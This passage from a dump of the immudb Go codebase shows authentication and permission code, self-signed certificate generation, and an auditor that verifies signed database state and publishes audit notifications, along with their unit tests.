js.DatabaseIndex)\n\t}\n\n\twrongToken := strings.Replace(token, \".\", \"\", 2)\n\tm = make(map[string][]string)\n\tm[\"authorization\"] = []string{wrongToken}\n\tnewCtx = metadata.NewIncomingContext(ctx, m)\n\t_, err = verifyTokenFromCtx(newCtx)\n\tif err == nil {\n\t\tt.Errorf(\"Error verifyTokenFromCtx wrong token\")\n\t}\n\n\tm = make(map[string][]string)\n\tm[\"authorization\"] = []string{}\n\tnewCtx = metadata.NewIncomingContext(ctx, m)\n\t_, err = verifyTokenFromCtx(newCtx)\n\tif err == nil {\n\t\tt.Errorf(\"Error verifyTokenFromCtx empty token\")\n\t}\n}\n"
  },
  {
    "path": "pkg/auth/user.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n)\n\n// Permission per database\ntype Permission struct {\n\tPermission uint32 `json:\"permission\"` // permission of type auth.PermissionW\n\tDatabase   string `json:\"database\"`   // databases the user has access to\n}\n\ntype SQLPrivilege struct {\n\tPrivilege string `json:\"privilege\"` // sql privilege\n\tDatabase  string `json:\"database\"`  // database to which the privilege applies\n}\n\n// User ...\ntype User struct {\n\tUsername       string         `json:\"username\"`\n\tHashedPassword []byte         `json:\"hashedpassword\"`\n\tPermissions    []Permission   `json:\"permissions\"`\n\tSQLPrivileges  []SQLPrivilege `json:\"sqlPrivileges\"`\n\tHasPrivileges  bool           `json:\"hasPrivileges\"` // needed for backward compatibility\n\tActive         bool           `json:\"active\"`\n\tIsSysAdmin     bool           `json:\"-\"`         // for the sysadmin we'll use this instead of adding all db and permissions to Permissions, to save some cpu cycles\n\tCreatedBy      string         `json:\"createdBy\"` // user which created this user\n\tCreatedAt      time.Time      `json:\"createdat\"` // time in which this user is created/updated\n}\n\nvar (\n\t// SysAdminUsername the system admin username\n\tSysAdminUsername = \"immudb\"\n\n\t// SysAdminPassword the admin password (can be default or from command flags, config or env var)\n\tSysAdminPassword = SysAdminUsername\n)\n\n// SetPassword Hashes and salts the password and assigns it to hashedPassword of User\nfunc (u *User) SetPassword(plainPassword []byte) ([]byte, error) {\n\tif len(plainPassword) == 0 {\n\t\treturn nil, fmt.Errorf(\"password is empty\")\n\t}\n\thashedPassword, err := HashAndSaltPassword(plainPassword)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tu.HashedPassword = hashedPassword\n\treturn plainPassword, nil\n}\n\n// ComparePasswords ...\nfunc (u *User) ComparePasswords(plainPassword []byte) error {\n\treturn ComparePasswords(u.HashedPassword, plainPassword)\n}\n\nconst maxUsernameLen = 63\n\nvar usernameRegex = regexp.MustCompile(`^[a-zA-Z0-9_]+$`)\n\n// IsValidUsername is a function used to check username requirements\nfunc IsValidUsername(user string) bool {\n\treturn len(user) <= maxUsernameLen && usernameRegex.MatchString(user)\n}\n\n// HasPermission checks if user has such permission for this database\nfunc (u *User) HasPermission(database string, permission uint32) bool {\n\tfor _, val := range u.Permissions {\n\t\tif (val.Database == database) &&\n\t\t\t(val.Permission == permission) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// HasAtLeastOnePermission checks if user has this permission for at least one database\nfunc (u *User) HasAtLeastOnePermission(permission uint32) bool {\n\tfor _, val := range u.Permissions {\n\t\tif val.Permission == permission {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// WhichPermission returns the permission that this user has on this database\nfunc (u *User) WhichPermission(database string) uint32 {\n\tif u.IsSysAdmin {\n\t\treturn PermissionSysAdmin\n\t}\n\tfor _, val := range u.Permissions {\n\t\tif val.Database == database {\n\t\t\treturn val.Permission\n\t\t}\n\t}\n\treturn PermissionNone\n}\n\n// RevokePermission revoke database permission from user\nfunc (u *User) RevokePermission(database string) bool {\n\tfor i, val := range u.Permissions {\n\t\tif val.Database == database {\n\t\t\t//todo there is a more efficient way to remove elements\n\t\t\tu.Permissions = append(u.Permissions[:i], u.Permissions[i+1:]...)\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// GrantPermission add permission to database\nfunc (u *User) GrantPermission(database string, permission uint32) bool {\n\t// first remove any previous permission for this db\n\tu.RevokePermission(database)\n\n\tperm := Permission{Permission: permission, Database: database}\n\tu.Permissions = append(u.Permissions, perm)\n\treturn true\n}\n\n// GrantSQLPrivilege grants sql privilege on the specified database\nfunc (u *User) GrantSQLPrivileges(database string, privileges []string) bool {\n\tfor _, p := range privileges {\n\t\tif !u.HasSQLPrivilege(database, p) {\n\t\t\tu.SQLPrivileges = append(u.SQLPrivileges, SQLPrivilege{Database: database, Privilege: p})\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (u *User) HasSQLPrivilege(database string, privilege string) bool {\n\treturn u.indexOfPrivilege(database, privilege) >= 0\n}\n\nfunc (u *User) indexOfPrivilege(database string, privilege string) int {\n\tfor i, p := range u.SQLPrivileges {\n\t\tif p.Database == database && p.Privilege == privilege {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}\n\n// RevokePrivilege add permission to database\nfunc (u *User) RevokeSQLPrivileges(database string, privileges []string) bool {\n\tfor _, p := range privileges {\n\t\tif idx := u.indexOfPrivilege(database, p); idx >= 0 {\n\t\t\tu.SQLPrivileges[idx] = u.SQLPrivileges[0]\n\t\t\tu.SQLPrivileges = u.SQLPrivileges[1:]\n\t\t}\n\t}\n\treturn true\n}\n\n// SetSQLPrivileges sets user default privileges. Required to guarantee backward compatibility.\nfunc (u *User) SetSQLPrivileges() {\n\tif u.HasPrivileges {\n\t\treturn\n\t}\n\n\tfor _, perm := range u.Permissions {\n\t\tprivileges := sql.DefaultSQLPrivilegesForPermission(sql.PermissionFromCode(perm.Permission))\n\t\tfor _, privilege := range privileges {\n\t\t\tu.SQLPrivileges = append(u.SQLPrivileges,\n\t\t\t\tSQLPrivilege{\n\t\t\t\t\tDatabase:  perm.Database,\n\t\t\t\t\tPrivilege: string(privilege),\n\t\t\t\t},\n\t\t\t)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/auth/user_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestUser(t *testing.T) {\n\tweakPassword := []byte(\"weak_password\")\n\tu := User{}\n\t_, err := u.SetPassword(nil)\n\tif err == nil {\n\t\tt.Errorf(\"Setpassword, fail test empty password\")\n\t}\n\n\tp, err := u.SetPassword(weakPassword)\n\trequire.NoError(t, err)\n\tif !bytes.Equal(p, weakPassword) {\n\t\tt.Errorf(\"setpassword plain passwords do not match\")\n\t}\n\terr = u.ComparePasswords(weakPassword)\n\trequire.NoError(t, err)\n\n\tu.GrantPermission(\"immudb\", PermissionR)\n\tperm := u.WhichPermission(\"immudb\")\n\tif perm != PermissionR {\n\t\tt.Errorf(\"WhichPermission fail\")\n\t}\n\n\tif !u.HasPermission(\"immudb\", PermissionR) {\n\t\tt.Errorf(\"HasPermission fail\")\n\t}\n\n\tif !u.HasAtLeastOnePermission(PermissionR) {\n\t\tt.Errorf(\"HasAtLeastOnePermission fail\")\n\t}\n\n\tif u.HasPermission(\"immudb\", PermissionAdmin) {\n\t\tt.Errorf(\"HasPermission failed on wrong permission\")\n\t}\n\n\tif u.HasAtLeastOnePermission(PermissionAdmin) {\n\t\tt.Errorf(\"HasAtLeastOnePermission fail\")\n\t}\n\tu.RevokePermission(\"immudb\")\n\tperm = u.WhichPermission(\"immudb\")\n\tif perm == PermissionR {\n\t\tt.Errorf(\"RevokePermission fail\")\n\t}\n\tu.IsSysAdmin = true\n\tif perm = u.WhichPermission(\"notimmudb\"); perm != PermissionSysAdmin {\n\t\tt.Errorf(\"WhichPermission sysadmin fail\")\n\t}\n}\n"
  },
  {
    "path": "pkg/cert/cert.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cert\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"net\"\n\t\"os\"\n\t\"path\"\n\t\"time\"\n)\n\nfunc GenerateSelfSignedCert(certPath, keyPath string, org string, expiration time.Duration) error {\n\tpriv, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to generate RSA key: %w\", err)\n\t}\n\n\tnotBefore := time.Now()\n\tnotAfter := notBefore.Add(expiration)\n\n\tserialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to generate serial number: %w\", err)\n\t}\n\n\thostname, err := os.Hostname()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tips, err := listIPs()\n\tif err != nil {\n\t\treturn err\n\t}\n\tips = append(ips, net.ParseIP(\"0.0.0.0\"))\n\n\tissuerOrSubject := pkix.Name{\n\t\tOrganization: []string{org},\n\t}\n\n\ttemplate := x509.Certificate{\n\t\tIssuer:       issuerOrSubject,\n\t\tSerialNumber: serialNumber,\n\t\tSubject:      issuerOrSubject,\n\t\tDNSNames:     []string{\"localhost\", hostname},\n\t\tNotBefore:    notBefore,\n\t\tNotAfter:     notAfter,\n\t\tIPAddresses:  ips,\n\t\tKeyUsage:     x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,\n\t\tExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\t}\n\n\tcertBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create certificate: %w\", err)\n\t}\n\n\tif err := os.MkdirAll(path.Dir(certPath), 0755); err != nil {\n\t\treturn err\n\t}\n\n\tcertBytesPem := encodePEM(certBytes, \"CERTIFICATE\")\n\tif err := os.WriteFile(certPath, certBytesPem, 0644); err != nil {\n\t\treturn fmt.Errorf(\"failed to write cert file: %w\", err)\n\t}\n\n\tprivBytes := x509.MarshalPKCS1PrivateKey(priv)\n\tprivBytesPem := encodePEM(privBytes, \"PRIVATE KEY\")\n\n\tif err := os.WriteFile(keyPath, privBytesPem, 0600); err != nil {\n\t\treturn fmt.Errorf(\"failed to write key file: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc encodePEM(data []byte, blockType string) []byte {\n\tblock := &pem.Block{\n\t\tType:  blockType,\n\t\tBytes: data,\n\t}\n\treturn pem.EncodeToMemory(block)\n}\n\nfunc listIPs() ([]net.IP, error) {\n\taddresses, err := net.InterfaceAddrs()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tips := make([]net.IP, 0, len(addresses))\n\tfor _, addr := range addresses {\n\t\tipNet, ok := addr.(*net.IPNet)\n\t\tif ok {\n\t\t\tips = append(ips, ipNet.IP)\n\t\t}\n\t}\n\treturn ips, nil\n}\n"
  },
  {
    "path": "pkg/client/auditor/auditor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auditor\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/codenotary/immudb/pkg/client/timestamp\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\n// Auditor the auditor interface\ntype Auditor interface {\n\tRun(interval time.Duration, singleRun bool, stopc <-chan struct{}, donec chan<- struct{}) error\n}\n\n// AuditNotificationConfig holds the URL and credentials used to publish audit\n// result to ledger compliance.\ntype AuditNotificationConfig struct {\n\tURL            string\n\tUsername       string\n\tPassword       string\n\tRequestTimeout time.Duration\n\n\tPublishFunc func(*http.Request) (*http.Response, error)\n}\n\ntype defaultAuditor struct {\n\tindex               uint64\n\tdatabaseIndex       int\n\tlogger              logger.Logger\n\tserverAddress       string\n\tdialOptions         []grpc.DialOption\n\thistory             cache.HistoryCache\n\tts                  client.TimestampService\n\tusername            []byte\n\tdatabases           []string\n\tpassword            []byte\n\tauditDatabases      []string\n\tserverSigningPubKey *ecdsa.PublicKey\n\tnotificationConfig  AuditNotificationConfig\n\tserviceClient       schema.ImmuServiceClient\n\tuuidProvider        state.UUIDProvider\n\n\tslugifyRegExp *regexp.Regexp\n\tupdateMetrics func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState)\n\n\tmonitoringHTTPAddr *string\n}\n\n// DefaultAuditor creates initializes a default auditor implementation\nfunc DefaultAuditor(\n\tinterval time.Duration,\n\tserverAddress string,\n\tdialOptions []grpc.DialOption,\n\tusername string,\n\tpasswordBase64 string,\n\tauditDatabases []string,\n\tserverSigningPubKey *ecdsa.PublicKey,\n\tnotificationConfig AuditNotificationConfig,\n\tserviceClient schema.ImmuServiceClient,\n\tuuidProvider state.UUIDProvider,\n\thistory cache.HistoryCache,\n\tupdateMetrics func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState),\n\tlog logger.Logger,\n\tmonitoringHTTPAddr *string) (Auditor, error) {\n\n\tpassword, err := auth.DecodeBase64Password(passwordBase64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdt, _ := timestamp.NewDefaultTimestamp()\n\n\tslugifyRegExp, _ := regexp.Compile(`[^a-zA-Z0-9\\-_]+`)\n\n\thttpClient := &http.Client{Timeout: notificationConfig.RequestTimeout}\n\tnotificationConfig.PublishFunc = httpClient.Do\n\n\treturn &defaultAuditor{\n\t\t0,\n\t\t0,\n\t\tlog,\n\t\tserverAddress,\n\t\tdialOptions,\n\t\thistory,\n\t\tclient.NewTimestampService(dt),\n\t\t[]byte(username),\n\t\tnil,\n\t\t[]byte(password),\n\t\tauditDatabases,\n\t\tserverSigningPubKey,\n\t\tnotificationConfig,\n\t\tserviceClient,\n\t\tuuidProvider,\n\t\tslugifyRegExp,\n\t\tupdateMetrics,\n\t\tmonitoringHTTPAddr,\n\t}, nil\n}\n\nfunc (a *defaultAuditor) Run(\n\tinterval time.Duration,\n\tsingleRun bool,\n\tstopc <-chan struct{},\n\tdonec chan<- struct{},\n) (err error) {\n\tdefer func() { donec <- struct{}{} }()\n\ta.logger.Infof(\"starting auditor with a %s interval ...\", interval)\n\n\tif singleRun {\n\t\terr = a.audit()\n\t} else {\n\t\t// start monitoring HTTP server\n\t\tvar monitoringServer *http.Server\n\t\tif a.monitoringHTTPAddr != nil {\n\t\t\ta.logger.Infof(\"auditor monitoring HTTP server starting on %s ...\", *a.monitoringHTTPAddr)\n\t\t\tgo func() {\n\t\t\t\tmonitoringServer = StartHTTPServerForMonitoring(\n\t\t\t\t\t*a.monitoringHTTPAddr,\n\t\t\t\t\tfunc(httpServer *http.Server) error { return httpServer.ListenAndServe() },\n\t\t\t\t\ta.logger,\n\t\t\t\t\ta.serviceClient)\n\t\t\t}()\n\t\t}\n\t\tdefer func() {\n\t\t\tif monitoringServer != nil {\n\t\t\t\ta.logger.Debugf(\"auditor monitoring HTTP server stopped\")\n\t\t\t\tmonitoringServer.Close()\n\t\t\t}\n\t\t}()\n\n\t\terr = repeat(interval, stopc, a.audit)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ta.logger.Infof(\"auditor stopped\")\n\treturn err\n}\n\nfunc (a *defaultAuditor) audit() error {\n\tstart := time.Now()\n\ta.index++\n\ta.logger.Infof(\"audit #%d started @ %s\", a.index, start)\n\n\tverified := true\n\tchecked := false\n\twithError := false\n\tserverID := \"unknown\"\n\tvar prevState *schema.ImmutableState\n\tvar state *schema.ImmutableState\n\n\tdefer func() {\n\t\ta.updateMetrics(\n\t\t\tserverID, a.serverAddress, checked, withError, verified, prevState, state)\n\t}()\n\n\t// returning an error would completely stop the auditor process\n\tvar noErr error\n\n\tctx := context.Background()\n\tloginResponse, err := a.serviceClient.Login(ctx, &schema.LoginRequest{\n\t\tUser:     a.username,\n\t\tPassword: a.password,\n\t})\n\tif err != nil {\n\t\ta.logger.Errorf(\"error logging in with user %s: %v\", a.username, err)\n\t\twithError = true\n\t\treturn noErr\n\t}\n\tdefer a.serviceClient.Logout(ctx, &empty.Empty{})\n\n\tmd := metadata.Pairs(\"authorization\", loginResponse.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t//check if we have cycled through the list of databases\n\tif a.databaseIndex == len(a.databases) {\n\t\t//if we have reached the end get a fresh list of dbs that belong to the user\n\t\tdbs, err := a.serviceClient.DatabaseList(ctx, &emptypb.Empty{})\n\t\tif err != nil {\n\t\t\ta.logger.Errorf(\"error getting a list of databases %v\", err)\n\t\t\twithError = true\n\t\t\treturn noErr\n\t\t}\n\t\ta.databases = nil\n\n\t\tfor _, db := range dbs.Databases {\n\t\t\tdbMustBeAudited := len(a.auditDatabases) <= 0\n\t\t\tfor _, dbPrefix := range a.auditDatabases {\n\t\t\t\tif strings.HasPrefix(db.DatabaseName, dbPrefix) {\n\t\t\t\t\tdbMustBeAudited = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif dbMustBeAudited {\n\t\t\t\ta.databases = append(a.databases, db.DatabaseName)\n\t\t\t}\n\t\t}\n\n\t\ta.databaseIndex = 0\n\t\tif len(a.databases) <= 0 {\n\t\t\ta.logger.Errorf(\"audit #%d aborted: no databases to audit found after (re)loading the list of databases\", a.index)\n\t\t\twithError = true\n\t\t\treturn noErr\n\t\t}\n\n\t\ta.logger.Infof(\"audit #%d - list of databases to audit has been (re)loaded - %d database(s) found: %v\",\n\t\t\ta.index, len(a.databases), a.databases)\n\t}\n\n\tdbName := a.databases[a.databaseIndex]\n\tresp, err := a.serviceClient.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: dbName,\n\t})\n\tif err != nil {\n\t\ta.logger.Errorf(\"error selecting database %s: %v\", dbName, err)\n\t\twithError = true\n\t\treturn noErr\n\t}\n\n\tmd = metadata.Pairs(\"authorization\", resp.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\ta.logger.Infof(\"audit #%d - auditing database %s\\n\", a.index, dbName)\n\ta.databaseIndex++\n\n\tstate, err = a.serviceClient.CurrentState(ctx, &empty.Empty{})\n\tif err != nil {\n\t\ta.logger.Errorf(\"error getting current state: %v\", err)\n\t\twithError = true\n\t\treturn noErr\n\t}\n\n\tif err := a.verifyStateSignature(serverID, state); err != nil {\n\t\ta.logger.Errorf(\"audit #%d aborted: %v\", a.index, err)\n\t\twithError = true\n\t\treturn noErr\n\t}\n\n\tisEmptyDB := state.TxId == 0\n\n\tserverID = a.getServerID(ctx)\n\tprevState, err = a.history.Get(serverID, dbName)\n\tif err != nil {\n\t\ta.logger.Errorf(err.Error())\n\t\twithError = true\n\t\treturn noErr\n\t}\n\n\tif prevState != nil {\n\t\tif isEmptyDB {\n\t\t\ta.logger.Errorf(\"audit #%d aborted: database is empty on server %s @ %s, but locally a previous state exists with hash %x at id %d\",\n\t\t\t\ta.index, serverID, a.serverAddress, prevState.TxHash, prevState.TxId)\n\t\t\twithError = true\n\t\t\treturn noErr\n\t\t}\n\n\t\tvtx, err := a.serviceClient.VerifiableTxById(ctx, &schema.VerifiableTxRequest{\n\t\t\tTx:           state.TxId,\n\t\t\tProveSinceTx: prevState.TxId,\n\t\t})\n\t\tif err != nil {\n\t\t\ta.logger.Errorf(\"error fetching consistency proof for previous state %d: %v\", prevState.TxId, err)\n\t\t\twithError = true\n\t\t\treturn noErr\n\t\t}\n\n\t\tdualProof := schema.DualProofFromProto(vtx.DualProof)\n\t\terr = schema.FillMissingLinearAdvanceProof(ctx, dualProof, prevState.TxId, state.TxId, a.serviceClient)\n\t\tif err != nil {\n\t\t\ta.logger.Errorf(\"error fetching consistency proof for previous state %d: %v\", prevState.TxId, err)\n\t\t\twithError = true\n\t\t\treturn noErr\n\t\t}\n\n\t\tverified = store.VerifyDualProof(dualProof, prevState.TxId, state.TxId, schema.DigestFromProto(prevState.TxHash), schema.DigestFromProto(state.TxHash))\n\n\t\ta.logger.Infof(\"audit #%d result:\\n db: %s, consistent:\t%t previous state:\t%x at tx: %d\\n  current state:\t%x at tx: %d\",\n\t\t\ta.index, dbName, verified, prevState.TxHash, prevState.TxId, state.TxHash, state.TxId)\n\n\t\tchecked = true\n\t\t// publish audit notification\n\t\tif len(a.notificationConfig.URL) > 0 {\n\t\t\terr := a.publishAuditNotification(\n\t\t\t\tdbName, time.Now(), !verified,\n\t\t\t\t&State{\n\t\t\t\t\tTx:   prevState.TxId,\n\t\t\t\t\tHash: base64.StdEncoding.EncodeToString(prevState.TxHash),\n\t\t\t\t\tSignature: Signature{\n\t\t\t\t\t\tSignature: base64.StdEncoding.EncodeToString(prevState.GetSignature().GetSignature()),\n\t\t\t\t\t\tPublicKey: base64.StdEncoding.EncodeToString(prevState.GetSignature().GetPublicKey()),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&State{\n\t\t\t\t\tTx:   state.TxId,\n\t\t\t\t\tHash: base64.StdEncoding.EncodeToString(state.TxHash),\n\t\t\t\t\tSignature: Signature{\n\t\t\t\t\t\tSignature: base64.StdEncoding.EncodeToString(state.GetSignature().GetSignature()),\n\t\t\t\t\t\tPublicKey: base64.StdEncoding.EncodeToString(state.GetSignature().GetPublicKey()),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\ta.logger.Errorf(\"error publishing audit notification for db %s: %v\", dbName, err)\n\t\t\t} else {\n\t\t\t\ta.logger.Infof(\"audit notification for db %s has been published at %s\", dbName, a.notificationConfig.URL)\n\t\t\t}\n\t\t}\n\t} else if isEmptyDB {\n\t\ta.logger.Warningf(\"audit #%d canceled: database is empty on server %s @ %s\", a.index, serverID, a.serverAddress)\n\t\treturn noErr\n\t}\n\n\tif !verified {\n\t\ta.logger.Warningf(\"audit #%d detected possible tampering of db %s remote state (at id %d) \"+\n\t\t\t\"so it will not overwrite the previous local state (at id %d)\", a.index, dbName, state.TxId, prevState.TxId)\n\t} else if prevState == nil || state.TxId != prevState.TxId {\n\t\tif err := a.history.Set(serverID, dbName, state); err != nil {\n\t\t\ta.logger.Errorf(err.Error())\n\t\t\treturn noErr\n\t\t}\n\t}\n\n\ta.logger.Infof(\"audit #%d finished in %s @ %s\",\n\t\ta.index, time.Since(start), time.Now().Format(time.RFC3339Nano))\n\n\treturn noErr\n}\n\nfunc (a *defaultAuditor) verifyStateSignature(serverID string, serverState *schema.ImmutableState) error {\n\tif a.serverSigningPubKey != nil && serverState.GetSignature() == nil {\n\t\treturn fmt.Errorf(\"a server signing public key has been specified for the auditor, but the state %s at TX %d received from server %s @ %s is not signed\",\n\t\t\tserverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress)\n\t}\n\n\tif serverState.GetSignature() != nil {\n\t\tpk := a.serverSigningPubKey\n\t\tif pk == nil {\n\t\t\ta.logger.Warningf(\"server signature will be verified using untrusted public key (embedded in the server state payload) \" +\n\t\t\t\t\"- for better security please configure a public key for the auditor process\")\n\t\t\tvar err error\n\t\t\tpk, err = signer.UnmarshalKey(serverState.GetSignature().GetPublicKey())\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to verify signature for state %s at TX %d received from server %s @ %s: \"+\n\t\t\t\t\t\"error unmarshaling the public key embedded in the server state payload: %w\",\n\t\t\t\t\tserverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, err)\n\t\t\t}\n\t\t}\n\n\t\tif err := serverState.CheckSignature(pk); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to verify signature for state %s at TX %d received from server %s @ %s: verification error: %v\",\n\t\t\t\tserverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Signature ...\ntype Signature struct {\n\tSignature string `json:\"signature\"`\n\tPublicKey string `json:\"public_key\"`\n}\n\n// State ...\ntype State struct {\n\tTx        uint64    `json:\"tx\" validate:\"required\"`\n\tHash      string    `json:\"hash\" validate:\"required\"`\n\tSignature Signature `json:\"signature\" validate:\"required\"`\n}\n\n// AuditNotificationRequest ...\ntype AuditNotificationRequest struct {\n\tUsername      string    `json:\"username\" validate:\"required\"`\n\tPassword      string    `json:\"password\" validate:\"required\"`\n\tDB            string    `json:\"db\" validate:\"required\"`\n\tRunAt         time.Time `json:\"run_at\" validate:\"required\" example:\"2020-11-13T00:53:42+01:00\"`\n\tTampered      bool      `json:\"tampered\"`\n\tPreviousState *State    `json:\"previous_state\"`\n\tCurrentState  *State    `json:\"current_state\"`\n}\n\nfunc (a *defaultAuditor) publishAuditNotification(\n\tdb string,\n\trunAt time.Time,\n\ttampered bool,\n\tprevState *State,\n\tcurrState *State) error {\n\n\tpayload := AuditNotificationRequest{\n\t\tUsername:      a.notificationConfig.Username,\n\t\tPassword:      a.notificationConfig.Password,\n\t\tDB:            db,\n\t\tRunAt:         runAt,\n\t\tTampered:      tampered,\n\t\tPreviousState: prevState,\n\t\tCurrentState:  currState,\n\t}\n\n\treqBody, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq, err := http.NewRequest(\"POST\", a.notificationConfig.URL, bytes.NewBuffer(reqBody))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := a.notificationConfig.PublishFunc(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tpayload.Password = \"\"\n\n\tswitch resp.StatusCode {\n\tcase http.StatusOK, http.StatusCreated, http.StatusAccepted, http.StatusNoContent:\n\tdefault:\n\t\trespBody, _ := ioutil.ReadAll(resp.Body)\n\t\treturn fmt.Errorf(\n\t\t\t\"POST %s request with payload %+v: got unexpected response status %s with response body %s\",\n\t\t\ta.notificationConfig.URL, payload, resp.Status, respBody)\n\t}\n\n\treturn nil\n}\n\nfunc (a *defaultAuditor) getServerID(ctx context.Context) string {\n\tserverID, err := a.uuidProvider.CurrentUUID(ctx)\n\tif err != nil {\n\t\tif err != state.ErrNoServerUuid {\n\t\t\ta.logger.Errorf(\"error getting server UUID: %v\", err)\n\t\t} else {\n\t\t\ta.logger.Warningf(err.Error())\n\t\t}\n\t}\n\n\tif serverID == \"\" {\n\t\tserverID = strings.ReplaceAll(strings.ReplaceAll(a.serverAddress, \".\", \"-\"), \":\", \"_\")\n\t\tserverID = a.slugifyRegExp.ReplaceAllString(serverID, \"\")\n\t\ta.logger.Debugf(\"the current immudb server @ %s will be identified as %s\", a.serverAddress, serverID)\n\t}\n\n\treturn serverID\n}\n\n// repeat executes f every interval until stopc is closed or f returns an error.\n// It executes f once right after being called.\nfunc repeat(interval time.Duration, stopc <-chan struct{}, f func() error) error {\n\ttick := time.NewTicker(interval)\n\tdefer tick.Stop()\n\n\tfor {\n\t\tif err := f(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tselect {\n\t\tcase <-stopc:\n\t\t\treturn nil\n\t\tcase <-tick.C:\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "pkg/client/auditor/auditor_test.go",
